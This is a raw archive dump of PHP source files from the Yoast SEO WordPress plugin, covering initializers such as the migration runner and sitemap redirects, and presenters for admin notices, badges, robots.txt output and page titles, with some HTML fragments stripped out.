public function permission_edit_posts() { return \current_user_can( 'edit_posts' ); } } initializers/plugin-headers.php000064400000001344152076255630012707 0ustar00 $headers The headers. * * @return array The updated headers. */ public function add_requires_yoast_seo_header( $headers ) { $headers[] = 'Requires Yoast SEO'; return $headers; } } initializers/silence-load-textdomain-just-in-time-notices.php000064400000002253152076255640020477 0ustar00 The array of conditionals. */ public static function get_conditionals() { return [ WP_Tests_Conditional::class ]; } /** * Hooks our required hooks. * * @return void */ public function initialize() { \add_filter( 'doing_it_wrong_trigger_error', [ $this, 'silence_textdomain_notices' ], 10, 2 ); } /** * Silences textdomain notices. * * @param bool $trigger Whether to trigger the error. Default true. * @param string $function_name The function name that triggered the error. * * @return bool */ public function silence_textdomain_notices( $trigger, $function_name ) { if ( $function_name === '_load_textdomain_just_in_time' ) { // Silence the notice. return false; } return $trigger; } } initializers/migration-runner.php000064400000010171152076255640013277 0ustar00migration_status = $migration_status; $this->loader = $loader; $this->adapter = $adapter; } /** * Runs this initializer. * * @return void * * @throws Exception When a migration errored. */ public function initialize() { $this->run_free_migrations(); // The below actions is used for when queries fail, this may happen in a multisite environment when switch_to_blog is used. \add_action( '_yoast_run_migrations', [ $this, 'run_free_migrations' ] ); } /** * Runs the free migrations. * * @return void * * @throws Exception When a migration errored. */ public function run_free_migrations() { $this->run_migrations( 'free' ); } /** * Initializes the migrations. * * @param string $name The name of the migration. * @param string $version The current version. * * @return bool True on success, false on failure. * * @throws Exception If the migration fails and YOAST_ENVIRONMENT is not production. */ public function run_migrations( $name, $version = \WPSEO_VERSION ) { if ( ! $this->migration_status->should_run_migration( $name, $version ) ) { return true; } if ( ! $this->migration_status->lock_migration( $name ) ) { return false; } $migrations = $this->loader->get_migrations( $name ); if ( $migrations === false ) { $this->migration_status->set_error( $name, "Could not perform $name migrations. No migrations found.", $version ); return false; } try { $this->adapter->create_schema_version_table(); $all_versions = \array_keys( $migrations ); $migrated_versions = $this->adapter->get_migrated_versions(); $to_do_versions = \array_diff( $all_versions, $migrated_versions ); \sort( $to_do_versions, \SORT_STRING ); foreach ( $to_do_versions as $to_do_version ) { $class = $migrations[ $to_do_version ]; $this->run_migration( $to_do_version, $class ); } } catch ( Exception $exception ) { // Something went wrong... $this->migration_status->set_error( $name, $exception->getMessage(), $version ); if ( \defined( 'YOAST_ENVIRONMENT' ) && \YOAST_ENVIRONMENT !== 'production' ) { throw $exception; } return false; } $this->migration_status->set_success( $name, $version ); return true; } /** * Runs a single migration. * * @param string $version The version. * @param string $migration_class The migration class. * * @return void * * @throws Exception If the migration failed. Caught by the run_migrations function. */ protected function run_migration( $version, $migration_class ) { /** * The migration to run. * * @var Migration $migration */ $migration = new $migration_class( $this->adapter ); try { $this->adapter->start_transaction(); $migration->up(); $this->adapter->add_version( $version ); $this->adapter->commit_transaction(); } catch ( Exception $e ) { $this->adapter->rollback_transaction(); throw new Exception( \sprintf( '%s - %s', $migration_class, $e->getMessage() ), 0, $e ); } } } initializers/initializer-interface.php000064400000000531152076255640014257 0ustar00options_helper = $options_helper; $this->url_helper = $url_helper; $this->redirect_helper = $redirect_helper; $this->crawl_cleanup_helper = $crawl_cleanup_helper; } /** * Initializes the integration. * * @return void */ public function initialize() { // We need to hook after 10 because otherwise our options helper isn't available yet. \add_action( 'plugins_loaded', [ $this, 'register_hooks' ], 15 ); } /** * Hooks our required hooks. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { if ( $this->options_helper->get( 'clean_campaign_tracking_urls' ) && ! empty( \get_option( 'permalink_structure' ) ) ) { \add_action( 'template_redirect', [ $this, 'utm_redirect' ], 0 ); } if ( $this->options_helper->get( 'clean_permalinks' ) && ! empty( \get_option( 'permalink_structure' ) ) ) { \add_action( 'template_redirect', [ $this, 'clean_permalinks' ], 1 ); } } /** * Returns the conditionals based in which this loadable should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Redirect utm variables away. * * @return void */ public function utm_redirect() { // Prevents WP CLI from throwing an error. // phpcs:ignore WordPress.Security.ValidatedSanitizedInput if ( ! isset( $_SERVER['REQUEST_URI'] ) || \strpos( $_SERVER['REQUEST_URI'], '?' ) === false ) { return; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput if ( ! \stripos( $_SERVER['REQUEST_URI'], 'utm_' ) ) { return; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput $parsed = \wp_parse_url( $_SERVER['REQUEST_URI'] ); $query = \explode( '&', $parsed['query'] ); $utms = []; $other_args = []; foreach ( $query as $query_arg ) { if ( \stripos( $query_arg, 'utm_' ) === 0 ) { $utms[] = $query_arg; continue; } $other_args[] = $query_arg; } if ( empty( $utms ) ) { return; } $other_args_str = ''; if ( \count( $other_args ) > 0 ) { $other_args_str = '?' . \implode( '&', $other_args ); } $new_path = $parsed['path'] . $other_args_str . '#' . \implode( '&', $utms ); $message = \sprintf( /* translators: %1$s: Yoast SEO */ \__( '%1$s: redirect utm variables to #', 'wordpress-seo' ), 'Yoast SEO', ); $this->redirect_helper->do_safe_redirect( \trailingslashit( $this->url_helper->recreate_current_url( false ) ) . \ltrim( $new_path, '/' ), 301, $message ); } /** * Removes unneeded query variables from the URL. * * @return void */ public function clean_permalinks() { if ( $this->crawl_cleanup_helper->should_avoid_redirect() ) { return; } $current_url = $this->url_helper->recreate_current_url(); $allowed_params = $this->crawl_cleanup_helper->allowed_params( $current_url ); // If we had only allowed params, let's just bail out, no further processing needed. if ( empty( $allowed_params['query'] ) ) { return; } $url_type = $this->crawl_cleanup_helper->get_url_type(); switch ( $url_type ) { case 'singular_url': $proper_url = $this->crawl_cleanup_helper->singular_url(); break; case 'front_page_url': $proper_url = $this->crawl_cleanup_helper->front_page_url(); break; case 'page_for_posts_url': $proper_url = $this->crawl_cleanup_helper->page_for_posts_url(); break; case 'taxonomy_url': $proper_url = $this->crawl_cleanup_helper->taxonomy_url(); break; case 'search_url': $proper_url = $this->crawl_cleanup_helper->search_url(); break; case 'page_not_found_url': $proper_url = $this->crawl_cleanup_helper->page_not_found_url( $current_url ); break; default: $proper_url = ''; } if ( $this->crawl_cleanup_helper->is_query_var_page( $proper_url ) ) { $proper_url = $this->crawl_cleanup_helper->query_var_page_url( $proper_url ); } $proper_url = \add_query_arg( $allowed_params['allowed_query'], $proper_url ); if ( empty( $proper_url ) || $current_url === $proper_url ) { return; } $this->crawl_cleanup_helper->do_clean_redirect( $proper_url ); } } initializers/woocommerce.php000064400000001417152076255640012321 0ustar00options = $options; $this->redirect = $redirect; } /** * Disable the WP core XML sitemaps. * * @return void */ public function initialize() { // This needs to be on priority 15 as that is after our options initialize. \add_action( 'plugins_loaded', [ $this, 'maybe_disable_core_sitemaps' ], 15 ); } /** * Disables the core sitemaps if Yoast SEO sitemaps are enabled. * * @return void */ public function maybe_disable_core_sitemaps() { if ( $this->options->get( 'enable_xml_sitemap' ) ) { \add_filter( 'wp_sitemaps_enabled', '__return_false' ); \add_action( 'template_redirect', [ $this, 'template_redirect' ], 0 ); } } /** * Redirects requests to the WordPress sitemap to the Yoast sitemap. * * @return void */ public function template_redirect() { // If there is no path, nothing to do. if ( empty( $_SERVER['REQUEST_URI'] ) ) { return; } $path = \sanitize_text_field( \wp_unslash( $_SERVER['REQUEST_URI'] ) ); // If it's not a wp-sitemap request, nothing to do. if ( \substr( $path, 0, 11 ) !== '/wp-sitemap' ) { return; } $redirect = $this->get_redirect_url( $path ); if ( ! $redirect ) { return; } $this->redirect->do_safe_redirect( \home_url( $redirect ), 301 ); } /** * Returns the relative sitemap URL to redirect to. * * @param string $path The original path. * * @return string|false The path to redirct to. False if no redirect should be done. */ private function get_redirect_url( $path ) { // Start with the simple string comparison so we avoid doing unnecessary regexes. if ( $path === '/wp-sitemap.xml' ) { return '/sitemap_index.xml'; } if ( \preg_match( '/^\/wp-sitemap-(posts|taxonomies)-(\w+)-(\d+)\.xml$/', $path, $matches ) ) { $index = ( (int) $matches[3] - 1 ); $index = ( $index === 0 ) ? '' : (string) $index; return '/' . $matches[2] . '-sitemap' . $index . '.xml'; } if ( \preg_match( '/^\/wp-sitemap-users-(\d+)\.xml$/', $path, $matches ) ) { $index = ( (int) $matches[1] - 1 ); $index = ( $index === 0 ) ? '' : (string) $index; return '/author-sitemap' . $index . '.xml'; } return false; } } presenters/webmaster/pinterest-presenter.php000064400000001130152076255640015471 0ustar00helpers->options->get( 'pinterestverify', '' ); } } presenters/webmaster/yandex-presenter.php000064400000001123152076255640014746 0ustar00helpers->options->get( 'yandexverify', '' ); } } presenters/webmaster/bing-presenter.php000064400000001105152076255650014376 0ustar00helpers->options->get( 'msverify', '' ); } } presenters/webmaster/google-presenter.php000064400000001136152076255650014737 0ustar00helpers->options->get( 'googleverify', '' ); } } presenters/webmaster/ahrefs-presenter.php000064400000001076152076255650014736 0ustar00helpers->options->get( 'ahrefsverify', '' ); } } presenters/webmaster/baidu-presenter.php000064400000001132152076255650014543 0ustar00helpers->options->get( 'baiduverify', '' ); } } presenters/admin/indexing-notification-presenter.php000064400000013143152076255650017054 0ustar00short_link_helper = $short_link_helper; $this->total_unindexed = $total_unindexed; $this->reason = $reason; } /** * Returns the notification as an HTML string. * * @return string The HTML string representation of the notification. */ public function present() { $notification_text = '

      ' . $this->get_message( $this->reason ); $notification_text .= $this->get_time_estimate( $this->total_unindexed ) . '

      '; $notification_text .= ''; $notification_text .= \esc_html__( 'Start SEO data optimization', 'wordpress-seo' ); $notification_text .= ''; return $notification_text; } /** * Determines the message to show in the indexing notification. * * @param string $reason The reason identifier. * * @return string The message to show in the notification. */ protected function get_message( $reason ) { switch ( $reason ) { case Indexing_Reasons::REASON_PERMALINK_SETTINGS: $text = \esc_html__( 'Because of a change in your permalink structure, some of your SEO data needs to be reprocessed.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_HOME_URL_OPTION: $text = \esc_html__( 'Because of a change in your home URL setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX: $text = \esc_html__( 'Because of a change in your category base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_TAG_BASE_PREFIX: $text = \esc_html__( 'Because of a change in your tag base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC: $text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your post types. Please help us do that by running the SEO data optimization.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC: $text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your taxonomies. Please help us do that by running the SEO data optimization.', 'wordpress-seo' ); break; case Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED: $text = \esc_html__( 'It looks like you\'ve enabled media pages. We recommend that you help us to re-analyze your site by running the SEO data optimization.', 'wordpress-seo' ); break; default: $text = \esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored.', 'wordpress-seo' ); } /** * Filter: 'wpseo_indexables_indexation_alert' - Allow developers to filter the reason of the indexation * * @param string $text The text to show as reason. * @param string $reason The reason value. */ return (string) \apply_filters( 'wpseo_indexables_indexation_alert', $text, $reason ); } /** * Creates a time estimate based on the total number on unindexed objects. * * @param int $total_unindexed The total number of unindexed objects. * * @return string The time estimate as a HTML string. */ protected function get_time_estimate( $total_unindexed ) { if ( $total_unindexed < 400 ) { return \esc_html__( ' We estimate this will take less than a minute.', 'wordpress-seo' ); } if ( $total_unindexed < 2500 ) { return \esc_html__( ' We estimate this will take a couple of minutes.', 'wordpress-seo' ); } $estimate = \esc_html__( ' We estimate this could take a long time, due to the size of your site. As an alternative to waiting, you could:', 'wordpress-seo' ); $estimate .= '
        '; $estimate .= '
      • '; $estimate .= \sprintf( /* translators: 1: Expands to Yoast SEO */ \esc_html__( 'Wait for a week or so, until %1$s automatically processes most of your content in the background.', 'wordpress-seo' ), 'Yoast SEO', ); $estimate .= '
      • '; $estimate .= '
      • '; $estimate .= \sprintf( /* translators: 1: Link to article about indexation command, 2: Anchor closing tag, 3: Link to WP CLI. */ \esc_html__( '%1$sRun the indexation process on your server%2$s using %3$sWP CLI%2$s.', 'wordpress-seo' ), '', '', '', ); $estimate .= '
      • '; $estimate .= '
      '; return $estimate; } } presenters/admin/migration-error-presenter.php000064400000004272152076255650015706 0ustar00migration_error = $migration_error; } /** * Presents the migration error that occurred. * * @return string The error HTML. */ public function present() { $header = \sprintf( /* translators: %s: Yoast SEO. */ \esc_html__( '%s is unable to create database tables', 'wordpress-seo' ), 'Yoast SEO', ); $message = \sprintf( /* translators: %s: Yoast SEO. */ \esc_html__( '%s had problems creating the database tables needed to speed up your site.', 'wordpress-seo' ), 'Yoast SEO', ); $support = \sprintf( /* translators: %1$s: link to help article about solving table issue. %2$s: is anchor closing. */ \esc_html__( 'Please read %1$sthis help article%2$s to find out how to resolve this problem.', 'wordpress-seo' ), '', '', ); $reassurance = \sprintf( /* translators: %s: Yoast SEO. */ \esc_html__( 'Your site will continue to work normally, but won\'t take full advantage of %s.', 'wordpress-seo' ), 'Yoast SEO', ); $debug_info = \sprintf( '
      %1$s

      %2$s

      ', \esc_html__( 'Show debug information', 'wordpress-seo' ), \esc_html( $this->migration_error['message'] ), ); return \sprintf( '

      %1$s

      %2$s

      %3$s

      %4$s

      %5$s
      ', $header, $message, $support, $reassurance, $debug_info, ); } } presenters/admin/woocommerce-beta-editor-presenter.php000064400000003362152076255650017301 0ustar00short_link_helper = $short_link_helper; } /** * Returns the notification as an HTML string. * * @return string The notification in an HTML string representation. */ public function present() { $notification_text = '

      '; $notification_text .= $this->get_message(); $notification_text .= '

      '; return $notification_text; } /** * Returns the message to show. * * @return string The message. */ protected function get_message() { return \sprintf( '%1$s %2$s', \esc_html__( 'Compatibility issue: Yoast SEO is incompatible with the beta WooCommerce product editor.', 'wordpress-seo' ), \sprintf( /* translators: 1: Yoast SEO, 2: Link start tag to the Learn more link, 3: Link closing tag. */ \esc_html__( 'The %1$s interface is currently unavailable in the beta WooCommerce product editor. To resolve any issues, please disable the beta editor. %2$sLearn how to disable the beta WooCommerce product editor.%3$s', 'wordpress-seo' ), 'Yoast SEO', '', '', ), ); } } presenters/admin/help-link-presenter.php000064400000004122152076255650014443 0ustar00link = $link; $this->link_text = $link_text; $this->opens_in_new_browser_tab = $opens_in_new_browser_tab; if ( ! $this->asset_manager ) { $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } $this->asset_manager->enqueue_style( 'admin-global' ); } /** * Presents the Help link. * * @return string The styled Help link. */ public function present() { if ( $this->link === '' || $this->link_text === '' ) { return; } $target_blank_attribute = ''; $new_tab_message = ''; if ( $this->opens_in_new_browser_tab ) { $target_blank_attribute = ' target="_blank"'; /* translators: Hidden accessibility text. */ $new_tab_message = ' ' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ); } return \sprintf( '%3$s', \esc_url( $this->link ), $target_blank_attribute, \esc_html( $this->link_text . $new_tab_message ), ); } } presenters/admin/meta-fields-presenter.php000064400000003100152076255650014745 0ustar00post = $post; $this->meta_fields = WPSEO_Meta::get_meta_field_defs( $field_group, $post_type ); } /** * Presents the Meta Fields. * * @return string The styled Alert. */ public function present() { $output = ''; foreach ( $this->meta_fields as $key => $meta_field ) { $form_key = \esc_attr( WPSEO_Meta::$form_prefix . $key ); $meta_value = WPSEO_Meta::get_value( $key, $this->post->ID ); $default = ''; if ( isset( $meta_field['default'] ) ) { $default = \sprintf( ' data-default="%s"', \esc_attr( $meta_field['default'] ) ); } $output .= '' . "\n"; } return $output; } } presenters/admin/light-switch-presenter.php000064400000010766152076255650015201 0ustar00var = $variable; $this->label = $label; $this->buttons = $buttons; $this->name = $name; $this->value = $value; $this->reverse = $reverse; $this->help = $help; $this->strong = $strong; $this->disabled_attribute = $disabled_attribute; } /** * Presents the light switch toggle. * * @return string The light switch's HTML. */ public function present() { if ( empty( $this->buttons ) ) { $this->buttons = [ \__( 'Disabled', 'wordpress-seo' ), \__( 'Enabled', 'wordpress-seo' ) ]; } list( $off_button, $on_button ) = $this->buttons; $class = 'switch-light switch-candy switch-yoast-seo'; if ( $this->reverse ) { $class .= ' switch-yoast-seo-reverse'; } $help_class = ! empty( $this->help ) ? ' switch-container__has-help' : ''; $strong_class = ( $this->strong ) ? ' switch-light-visual-label__strong' : ''; $output = '
      '; $output .= \sprintf( '%3$s%4$s', $strong_class, // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $strong_class output is hardcoded. \esc_attr( $this->var . '-label' ), \esc_html( $this->label ), $this->help, // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: The help contains HTML. ); $output .= '
      '; return $output; } } presenters/admin/indexing-failed-notification-presenter.php000064400000005770152076255650020305 0ustar00class_addon_manager = $class_addon_manager; $this->short_link_helper = $short_link_helper; $this->product_helper = $product_helper; } /** * Returns the notification as an HTML string. * * @return string The notification in an HTML string representation. */ public function present() { $notification_text = \sprintf( /* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO tools page, %2$s expands to a closing anchor tag. */ \esc_html__( 'Something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please %1$sre-start the process%2$s.', 'wordpress-seo', ), '', '', ); if ( $this->product_helper->is_premium() ) { if ( $this->has_valid_premium_subscription() ) { // Add a support message for premium customers. $notification_text .= ' '; $notification_text .= \esc_html__( 'If the problem persists, please contact support.', 'wordpress-seo' ); } else { // Premium plugin with inactive addon; overwrite the entire error message. $notification_text = \sprintf( /* Translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */ \esc_html__( 'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.', 'wordpress-seo', ), '', '', ); } } return '

      ' . $notification_text . '

      '; } /** * Determines if the site has a valid Premium subscription. * * @return bool */ protected function has_valid_premium_subscription() { return $this->class_addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); } } presenters/admin/alert-presenter.php000064400000003063152076255650013672 0ustar00content = $content; $this->type = $type; if ( ! $this->asset_manager ) { $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } $this->asset_manager->enqueue_style( 'alert' ); } /** * Presents the Alert. * * @return string The styled Alert. */ public function present() { $icon_file = 'images/alert-' . $this->type . '-icon.svg'; $out = '
      '; $out .= ''; $out .= ''; $out .= ''; $out .= '' . $this->content . ''; $out .= '
      '; return $out; } } presenters/admin/search-engines-discouraged-presenter.php000064400000002670152076255650017750 0ustar00'; $notification_text .= $this->get_message(); $notification_text .= '

      '; return $notification_text; } /** * Returns the message to show. * * @return string The message. */ protected function get_message() { return \sprintf( '%1$s %2$s ', \esc_html__( 'Huge SEO Issue: You\'re blocking access to robots.', 'wordpress-seo' ), \sprintf( /* translators: 1: Link start tag to the WordPress Reading Settings page, 2: Link closing tag. */ \esc_html__( 'If you want search engines to show this site in their results, you must %1$sgo to your Reading Settings%2$s and uncheck the box for Search Engine Visibility.', 'wordpress-seo' ), '', '', ), \esc_js( \wp_create_nonce( 'wpseo-ignore' ) ), \esc_html__( 'I don\'t want this site to show in the search results.', 'wordpress-seo' ), ); } } presenters/admin/badge-presenter.php000064400000005223152076255650013625 0ustar00id = $id; $this->link = $link; $this->group = $group; if ( ! $badge_group_names instanceof Badge_Group_Names ) { $badge_group_names = new Badge_Group_Names(); } $this->badge_group_names = $badge_group_names; } /** * Presents the New Badge. If a link has been passed, the badge is presented with the link. * Otherwise a static badge is presented. * * @return string The styled New Badge. */ public function present() { if ( ! $this->is_group_still_new() ) { return ''; } if ( $this->link !== '' ) { return \sprintf( '%3$s', \esc_attr( $this->id ), \esc_url( $this->link ), \esc_html__( 'New', 'wordpress-seo' ), ); } return \sprintf( '%2$s', \esc_attr( $this->id ), \esc_html__( 'New', 'wordpress-seo' ), ); } /** * Check whether the new badge should be shown according to the group it is in. * * @return bool True if still new. */ public function is_group_still_new() { // If there's no group configured, the new badge is always active. if ( ! $this->group ) { return true; } return $this->badge_group_names->is_still_eligible_for_new_badge( $this->group ); } } presenters/admin/indexing-error-presenter.php000064400000010470152076255660015520 0ustar00short_link_helper = $short_link_helper; $this->product_helper = $product_helper; $this->addon_manager = $addon_manager; } /** * Generates the first paragraph of the error message to show when indexing failed. * * The contents of the paragraph varies based on whether WordPress SEO Premium has a valid, activated subscription or not. * * @param bool $is_premium Whether WordPress SEO Premium is currently active. * @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription. * * @return string */ protected function generate_first_paragraph( $is_premium, $has_valid_premium_subscription ) { $message = \__( 'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please click the button again to re-start the process. ', 'wordpress-seo', ); if ( $is_premium ) { if ( $has_valid_premium_subscription ) { $message .= \__( 'If the problem persists, please contact support.', 'wordpress-seo' ); } else { $message = \sprintf( /* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */ \__( 'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.', 'wordpress-seo', ), '', '', ); } } return $message; } /** * Generates the second paragraph of the error message to show when indexing failed. * * The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not. * * @param bool $is_premium Whether WordPress SEO Premium is currently active. * @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription. * * @return string The second paragraph of the error message. */ protected function generate_second_paragraph( $is_premium, $has_valid_premium_subscription ) { return \sprintf( /* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */ \__( 'Below are the technical details for the error. See %1$sthis page%2$s for a more detailed explanation.', 'wordpress-seo', ), '', '', ); } /** * Presents the error message to show if SEO optimization failed. * * The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not. * * @return string The error message to show. */ public function present() { $is_premium = $this->product_helper->is_premium(); $has_valid_premium_subscription = $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); $output = '

      ' . $this->generate_first_paragraph( $is_premium, $has_valid_premium_subscription ) . '

      '; $output .= '

      ' . $this->generate_second_paragraph( $is_premium, $has_valid_premium_subscription ) . '

      '; return $output; } } presenters/admin/notice-presenter.php000064400000006451152076255660014051 0ustar00title = $title; $this->content = $content; $this->image_filename = $image_filename; $this->button = $button; $this->is_dismissible = $is_dismissible; $this->id = $id; if ( ! $this->asset_manager ) { $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } $this->asset_manager->enqueue_style( 'notifications' ); } /** * Presents the Notice. * * @return string The styled Notice. */ public function present() { $dismissible = ( $this->is_dismissible ) ? ' is-dismissible' : ''; $id = ( $this->id ) ? ' id="' . $this->id . '"' : ''; // WordPress admin notice. $out = ''; $out .= '
      '; // Header. $out .= '
      '; $out .= '
      '; $out .= ''; $out .= \sprintf( '

      %s

      ', \esc_html( $this->title ), ); $out .= '
      '; $out .= '
      '; $out .= '

      ' . $this->content . '

      '; if ( $this->button !== null ) { $out .= '

      ' . $this->button . '

      '; } $out .= '
      '; $out .= '
      '; if ( $this->image_filename !== null ) { $out .= ''; } $out .= '
      '; $out .= ''; return $out; } } presenters/admin/beta-badge-presenter.php000064400000002451152076255660014537 0ustar00id = $id; $this->link = $link; } /** * Presents the Beta Badge. If a link has been passed, the badge is presented with the link. * Otherwise a static badge is presented. * * @return string The styled Beta Badge. */ public function present() { if ( $this->link !== '' ) { return \sprintf( '%3$s', \esc_attr( $this->id ), \esc_url( $this->link ), 'Beta', // We don't want this string to be translatable. ); } return \sprintf( '%2$s', \esc_attr( $this->id ), 'Beta', // We don't want this string to be translatable. ); } } presenters/admin/premium-badge-presenter.php000064400000002512152076255670015301 0ustar00id = $id; $this->link = $link; } /** * Presents the Premium Badge. If a link has been passed, the badge is presented with the link. * Otherwise a static badge is presented. * * @return string The styled Premium Badge. */ public function present() { if ( $this->link !== '' ) { return \sprintf( '%3$s', \esc_attr( $this->id ), \esc_url( $this->link ), 'Premium', // We don't want this string to be translatable. ); } return \sprintf( '%2$s', \esc_attr( $this->id ), 'Premium', // We don't want this string to be translatable. ); } } presenters/admin/sidebar-presenter.php000064400000016333152076255670014202 0ustar00is_met(); $shortlink = ( $is_woocommerce_active ) ? WPSEO_Shortlinker::get( 'https://yoa.st/admin-sidebar-upsell-woocommerce' ) : WPSEO_Shortlinker::get( 'https://yoa.st/jj' ); \ob_start(); ?> short_link_helper = $short_link_helper; } /** * Presents the list item for the tools menu. * * @return string The list item HTML. */ public function present() { $output = \sprintf( '
    • %s
      ', \esc_html__( 'Optimize SEO Data', 'wordpress-seo' ) ); $output .= \sprintf( '%1$s %3$s', \esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored. If you have a lot of content it might take a while, but trust us, it\'s worth it.', 'wordpress-seo' ), \esc_url( $this->short_link_helper->get( 'https://yoa.st/3-z' ) ), \esc_html__( 'Learn more about the benefits of optimized SEO data.', 'wordpress-seo' ), ); $output .= '
      '; $output .= '
    • '; return $output; } } presenters/rel-next-presenter.php000064400000003203152076255670013227 0ustar00presentation->robots, true ) ) { return ''; } /** * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel next URL put out by Yoast SEO. * * @param string $rel_next The rel next URL. * @param string $rel Link relationship, prev or next. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_next, 'next', $this->presentation ) ); } } presenters/abstract-indexable-presenter.php000064400000003063152076255670015231 0ustar00key === 'NO KEY PROVIDED' ) { return null; } return \str_replace( [ ':', ' ', '-' ], '_', $this->key ); } /** * Returns the metafield's property key. * * @return string The property key. */ public function get_key() { return $this->key; } /** * Replace replacement variables in a string. * * @param string $replacevar_string The string with replacement variables. * * @return string The string with replacement variables replaced. */ protected function replace_vars( $replacevar_string ) { return $this->replace_vars->replace( $replacevar_string, $this->presentation->source ); } } presenters/abstract-presenter.php000064400000000571152076255670013301 0ustar00present(); } } presenters/robots-txt-presenter.php000064400000011547152076255670013630 0ustar00robots_txt_helper = $robots_txt_helper; } /** * Generate content to be placed in a robots.txt file. * * @return string Content to be placed in a robots.txt file. */ public function present() { $robots_txt_content = self::YOAST_OUTPUT_BEFORE_COMMENT; $robots_txt_content = $this->handle_user_agents( $robots_txt_content ); $robots_txt_content = $this->handle_site_maps( $robots_txt_content ); $robots_txt_content = $this->handle_schema_maps( $robots_txt_content ); return $robots_txt_content . self::YOAST_OUTPUT_AFTER_COMMENT; } /** * Adds user agent directives to the robots txt output string. * * @param array $user_agents The list if available user agents. * @param string $robots_txt_content The current working robots txt string. * * @return string */ private function add_user_agent_directives( $user_agents, $robots_txt_content ) { foreach ( $user_agents as $user_agent ) { $robots_txt_content .= self::USER_AGENT_FIELD . ': ' . $user_agent->get_user_agent() . \PHP_EOL; $robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_disallow_paths(), self::DISALLOW_DIRECTIVE ); $robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_allow_paths(), self::ALLOW_DIRECTIVE ); $robots_txt_content .= \PHP_EOL; } return $robots_txt_content; } /** * Adds user agent directives path content to the robots txt output string. * * @param string $robots_txt_content The current working robots txt string. * @param array $paths The list of paths for which to add a txt entry. * @param string $directive_identifier The identifier for the directives. (Disallow of Allow). * * @return string */ private function add_directive_path( $robots_txt_content, $paths, $directive_identifier ) { if ( \count( $paths ) > 0 ) { foreach ( $paths as $path ) { $robots_txt_content .= $directive_identifier . ': ' . $path . \PHP_EOL; } } return $robots_txt_content; } /** * Handles adding user agent content to the robots txt content if there is any. * * @param string $robots_txt_content The current working robots txt string. * * @return string */ private function handle_user_agents( $robots_txt_content ) { $user_agents = $this->robots_txt_helper->get_robots_txt_user_agents(); if ( ! isset( $user_agents['*'] ) ) { $robots_txt_content .= 'User-agent: *' . \PHP_EOL; $robots_txt_content .= 'Disallow:' . \PHP_EOL . \PHP_EOL; } $robots_txt_content = $this->add_user_agent_directives( $user_agents, $robots_txt_content ); return $robots_txt_content; } /** * Handles adding sitemap content to the robots txt content. * * @param string $robots_txt_content The current working robots txt string. * * @return string */ private function handle_site_maps( $robots_txt_content ) { $registered_sitemaps = $this->robots_txt_helper->get_sitemap_rules(); foreach ( $registered_sitemaps as $sitemap ) { $robots_txt_content .= self::SITEMAP_FIELD . ': ' . $sitemap . \PHP_EOL; } return $robots_txt_content; } /** * Handles adding schema map content to the robots txt content. * * @param string $robots_txt_content The current working robots txt string. * * @return string */ private function handle_schema_maps( $robots_txt_content ) { $registered_schemamaps = $this->robots_txt_helper->get_schemamap_rules(); foreach ( $registered_schemamaps as $schemamap ) { $robots_txt_content .= self::SCHEMAMAP_FIELD . ': ' . $schemamap . \PHP_EOL; } return $robots_txt_content; } } presenters/title-presenter.php000064400000003344152076255670012620 0ustar00%s'; /** * The method of escaping to use. * * @var string */ protected $escaping = 'html'; /** * Gets the raw value of a presentation. * * @return string The raw value. */ public function get() { // This ensures backwards compatibility with other plugins using this filter as well. \add_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 ); $title = \wp_get_document_title(); \remove_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 ); return $title; } /** * Returns a tag in the head. * * @return string The tag. */ public function present() { $value = $this->get(); if ( \is_string( $value ) && $value !== '' ) { return \sprintf( $this->tag_format, $this->escape_value( $value ) ); } return ''; } /** * Returns the presentation title. * * @return string The title. */ public function get_title() { $title = $this->replace_vars( $this->presentation->title ); /** * Filter: 